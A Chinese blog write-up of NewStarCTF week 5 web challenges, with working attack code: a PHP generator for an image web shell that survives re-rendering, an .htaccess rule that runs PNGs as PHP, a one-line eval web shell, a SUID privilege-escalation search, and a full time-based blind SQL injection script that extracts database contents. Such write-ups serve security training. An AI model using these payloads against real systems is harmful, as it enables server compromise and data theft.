NewStarCTF week5 web wp-优快云博客

Give me your photo PLZ

进去后看内容
在这里插入图片描述
看这个文字意思应该是考的二次渲染

贴个利用代码
制作二次渲染后不会被修改的图片马
其实还可以自己比对哪块地方被修改了，然后插到没被修改的里面就行

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
    0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
    0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
    0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
    0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
    0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
    0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
    0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
    $r = $p[$y];
    $g = $p[$y+1];
    $b = $p[$y+2];
    $color = imagecolorallocate($img, $r, $g, $b);
    imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

http://1259b0a2-331e-4b4a-8335-f7278c7154b7.node4.buuoj.cn:81/upload/1.png
上传上去后，然后想了想穿个.htaccess吧
内容是
AddType application/x-httpd-php .png
然后就可以了
在这里插入图片描述挺感动的

Unsafe Apache

apache搜到一个cve 2021 42013
在这里插入图片描述
调用cgi然后执行系统命令

So Baby RCE Again

<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/bash|curl/i',$_GET["cmd"])){
        echo "Hacker!";
    }else{
        shell_exec($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

题目给出的代码
shell_exec没有回显禁了curl和反弹shell 我当时看了看感觉有点2
我为啥不直接重新写一个shell0.0
echo ‘<?php eval($_POST[a]);?>’ > 2.php
在这里插入图片描述
没有权限提个权
先找找有root权限的命令
find /bin -perm -u=s -type f 2>/dev/null

有个date直接用

BabySSTI_Three

我一开始是想慢慢拆解的，可以看week3的那篇博客但是我payload直接就打进去了，用的就是之前的payload
空格被禁了用${IFS}绕过
在这里插入图片描述
payload：

Final round

简单测试了一下发现可以盲注
直接贴我当时写的脚本吧
跑的时候是凭感觉了感觉最后应该是flag放在最后面于是就reverse去读了
还真是这样逆一下就行了

import requests
import time

url='http://adfa764a-76cf-4c94-837c-dd43a80935b6.node4.buuoj.cn:81/comments.php'


def baoku():
    res = ''
    for i in range(1, 100):
        left = 32
        right = 128
        mid = (left + right) // 2
        while (left < right):
            payload = {
                'name':'3123||if(ascii(substr(database(),%d,1))<%d,sleep(0.3),0)'%(i,mid)
            }

            times=time.time()
            t = requests.post(url,data=payload)
            timee=time.time()
            keep=timee-times
            time.sleep(0.2)
            if keep>3:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2

        if mid <= 32 or mid >= 127:
            break
        res += chr(mid - 1)
        print(res)



def baobiao():
    res = ''
    for i in range(1, 100):
        left = 32
        right = 128
        mid = (left + right) // 2
        while (left < right):
            payload = {
                'name': '3123||if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d,sleep(0.3),0)' % (i, mid)
            }
            print(payload)
            times = time.time()
            t = requests.post(url, data=payload)
            timee = time.time()
            keep = timee - times
            time.sleep(0.2)
            if keep > 3:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2

        if mid <= 32 or mid >= 127:
            break
        res += chr(mid - 1)
        print(res)
def baoduan():
    res = ''
    for i in range(1, 100):
        left = 32
        right = 128
        mid = (left + right) // 2
        while (left < right):
            payload = {
                'name': '3123||if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="wfy_information")),%d,1))<%d,sleep(0.1),0)' % (i, mid)
            }
            print(payload)
            times = time.time()
            t = requests.post(url, data=payload)
            timee = time.time()
            keep = timee - times
            time.sleep(0.2)
            if keep > 1:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2

        if mid <= 32 or mid >= 127:
            break
        res += chr(mid - 1)
        print(res)
def baozhi():
    res = ''
    for i in range(1, 100):
        left = 32
        right = 128
        mid = (left + right) // 2
        while (left < right):
            payload = {
                'name': '3123||if(ascii(substr((select(reverse(group_concat(text)))from(wfy_comments)),%d,1))<%d,sleep(0.2),0)' % (i, mid)
            }
            print(payload)
            times = time.time()
            t = requests.post(url, data=payload)
            timee = time.time()
            keep = timee - times
            time.sleep(0.2)
            if keep > 2:
                right = mid
            else:
                left = mid + 1
            mid = (left + right) // 2

        if mid <= 32 or mid >= 127:
            break
        res += chr(mid - 1)
        print(res)
baozhi()